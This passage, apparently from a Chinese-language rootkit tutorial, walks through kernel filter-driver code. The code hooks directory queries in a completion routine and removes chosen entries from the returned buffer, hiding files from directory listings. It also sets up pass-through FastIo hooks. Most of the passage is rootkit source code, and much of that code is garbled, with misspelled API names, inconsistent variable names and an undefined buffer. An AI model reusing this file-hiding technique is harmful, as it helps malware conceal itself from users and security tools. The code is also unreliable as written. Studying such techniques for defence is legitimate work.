以下是标准的调度例程:
NTSTATUS OurFilterDispatch ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PIO_STACK_LOCATION currentIrpStack;
…
currentIrpStack = IoGetCurrentIrpStackLocation ( Irp);
…
IoCopyCurrentIrpStackLocationToNext (Irp);
下面是调度例程最重要的部分。此处设置I/O完成例程。一旦更底层驱动程序处理完IRP后,就调用该例程,所有过滤操作都发生在完成例程中。
IoSetCompletionRoutine ( Irp, OurFilterHookDone, NULL, TRUE, TRUE, FALSE );
return IoCallDriver ( hookExt->FileSystem, Irp);
}
以下是最重要的例程——完成例程,前面提过,在该例程中实现所有的过滤功能。
NTSTATUS OurFilterHookDone ( IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp;
IN PVOID Contex
)
{
…
IrpSp = IoGeCurrentIrpStackLocation (Irp);
下面检查一个目录查询,还要确保PASSIVE_LEVEL级别上运行
If ( IrpSp -> MajorFunction == IRP_MJ_DIRECTORY_CONTROL
&&IrpSp->MinorFuncion == IRP_MN_QUERY_DIRECTORY
&&KeGetCurrentIrql () == PASSIVE_LEVEL
&&IrpSp -> Parameters.QueryDirectory.FileInformationClass == FileBothDirectoryInformation
)
{
PFILE_BOTH_DIR_INFORMATION volatile QueryBuffer = NULL;
PFILE_BOTH_DIR_INFORMATION volatile NexBuffer = NULL;
ULONG bufferLength;
DWORD total_size = 0;
BOOLEAN hide_me = FALSE;
BOOLEAN reset = FALSE;
ULONG size = 0;
ULONG iteration = 0;
QueryBuffer = (PFILE_BOTH_DIR_INFORMATION) Irp->UserBuffer;
bufferLength = Irp->IoStatus.Information;
if( bufferLength > 0)
{
Do
{
DbgPrint(“Filename: %ws\n”, QueryBuffer->FileName);
…
Rootkit在此处分析文件名并判断是否需要隐藏该文件。要隐藏的文件可以预先设置并加载到一个列表中,或者基于子字符串方法(类似于常见的前缀方法,如果一个文件的名称中包含有一组指定的前缀字符或特定的文件扩展符,则隐藏文件)。这里假定要隐藏文件,因此设置一个标志加以指示:
hide_me = TRUE;
若rootkit要隐藏某个文件,它必须相应修改QueryBuffer, 删除相关联的文件项。根据该文件项是否为第一项,中间项或最后一项,rootkit必须进行不同的处理。
If ( hide_me && iteration == 0)
{
若需要隐藏列表中的第一个文件,则执行以下代码,之后程序检查判断它是否为表中仅有的一项:
if (( IrpSp -> Flags == SL_RETURN_SINGLE_ENTRY) ||
(QueryBuffer -> NextEntryOffset == 0))
{
若该项是列表中的仅有的一项,则执行以下代码。将查询缓冲区清零并报告返回零字节。
RtlZeroMemory ( QueryBuffer, sizeof ( FILE_BOTH_DIR_INFORMATION));
total_size = 0;
}
else
{
若第一项之后还有其他项,则执行以下代码。修正要返回的总大小,并删除相应的项。
Total_size -= QueryBuffer -> NextEntryOffset;
Temp =ExAllocatePool ( PagedPool, total_size);
If( temp != NULL)
{
RtlCopyMemory ( temp, (( PBYTE) Querybuffer + QueryBuffer -> NextEntryOffset), total_size );
RtlZeroMemory ( QueryBuffer, total_size + QueryBuffer->NextEntryOffset);
RtlCopyMemory ( QueryBuffer, temp, total_size);
ExFreePool(temp);
}
设置一个标志,表明已经修正了QueryBuffer:
reset = TRUE;
}
}
Else if (( iteration > 0) &&(QueryBuffer -> NextEntryOffset != 0) && (hide_me))
{
若要隐藏表中间的一项,则执行以下代码,程序删除该项并修正要返回的大小。
size = ((PBYTE) inputBuffer + Irp-> IoStatus.Information ) – (PBYTE) QueryBuffer – QueryBuffer-> NextEntryOffset;
tmp = ExAllocatePool (PagedPool, size );
if (temp != NULL)
{
RtlCopyMemory ( temp, ((PBYTE)QueryBuffer + QueryBuffer->NextEntryOffset), size);
Total_size -= QueryBuffer->NextEntryOffset;
RtlZeroMemory(QueryBuffer, size + QueryBuffer -> NextEntryOffset);
RtlCopyMemory(QueryBuffer, temp, size);
ExFreePool (temp);
}
设置reset标志,表明已经修正了QueryBuffer:
Reset = TRUE;
}
Else if ((iteration > 0) &&( QueryBuffer -> NextEntryOffset == 0 ) && (hide_me))
{
若要隐藏表中最后一项,则执行以下代码。这种情况要容易得多,因为只需从链表末端将其删除。不将其看作是对QueryBuffer的重置。
Size = ((PBYTE) input Buffer + Irp->IoStatus.Information) – (PBYE)QueryBuffer;
NextBuffer->NextEntryOffset = 0;
Total_size -= size;
}
若缓冲区还未修正(这表明对表的处理已完成),则rootkit处理下一项:
Iteration += 1;
If ( !reset)
{
NextBuffer = QueryBuffer;
QueryBuffer = ( PFILE_BOTH_DIR_INFORMATION) ((PBYTE) QueryBufer + QueryBuffer->NextEntryOffset);
}
}
While (QueryBuffer != NextBuffer)
处理完成之后,在IRP中设置新QueryBuffer的total_size:
IRP->IOSTATUS.INFORMATION = TOTAL_SIZE;
必要时将IRP标记为 “挂起(pending)”:
If( Irp -> PendingReturned)
{
IoMarkIrpPending ( Irp);
}
返回状态信息:
Return Irp->IoStatus.Status;
}
如果执行FastIo调用,则代码会采取不同的执行路径,首先,将FastIo调用的调度表初始化为一个函数指针结构:
FAST_IO_DISPATCH OurFastIOHook = {
Sizeof ( FAST_IO_DISPATCH),
FilterFastIoCheckifPossible,
FilterFastIoRead,
….
}
每个函数调用都直通到达实际的FastIo调用,换句话说,对任何FastIo调用都不进行过滤。这是因为对文件和目录列表的查询并不作为FastIo调用而实现。